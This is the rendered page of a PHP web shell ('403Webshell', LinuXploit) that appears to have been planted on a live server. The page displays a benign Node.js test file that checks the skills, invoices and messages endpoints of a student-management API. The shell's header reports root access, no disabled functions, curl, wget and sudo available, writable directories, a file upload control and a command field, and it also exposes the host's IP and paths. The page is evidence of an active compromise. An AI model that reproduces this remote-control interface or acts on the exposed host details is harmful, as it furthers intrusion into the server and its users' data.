403Webshell
Server IP : 167.235.67.158  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux ubuntu-8gb-nbg1-1 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/api.pda.the-word.com/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/api.pda.the-word.com/tests/reads.test.js
const assert = require('node:assert/strict');
const test = require('node:test');

const { createStudent, hasAuthEnv, login, request } = require('./helpers');

const it = hasAuthEnv ? test : test.skip;

it('skills, invoices and messages endpoints return valid shapes', async () => {
  const auth = await login();
  const student = await createStudent(auth.accessToken);

  const skills = await request('/skills', { token: auth.accessToken });
  assert.equal(skills.status, 200);
  assert.ok(Array.isArray(skills.body.skills));

  const invoices = await request('/invoices', { token: auth.accessToken });
  assert.equal(invoices.status, 200);
  assert.ok(Array.isArray(invoices.body.invoices));

  const messages = await request(`/students/${student.serverId}/messages`, { token: auth.accessToken });
  assert.equal(messages.status, 200);
  assert.ok(Array.isArray(messages.body.messages));
});

Youez - 2016 - github.com/yon3zu
LinuXploit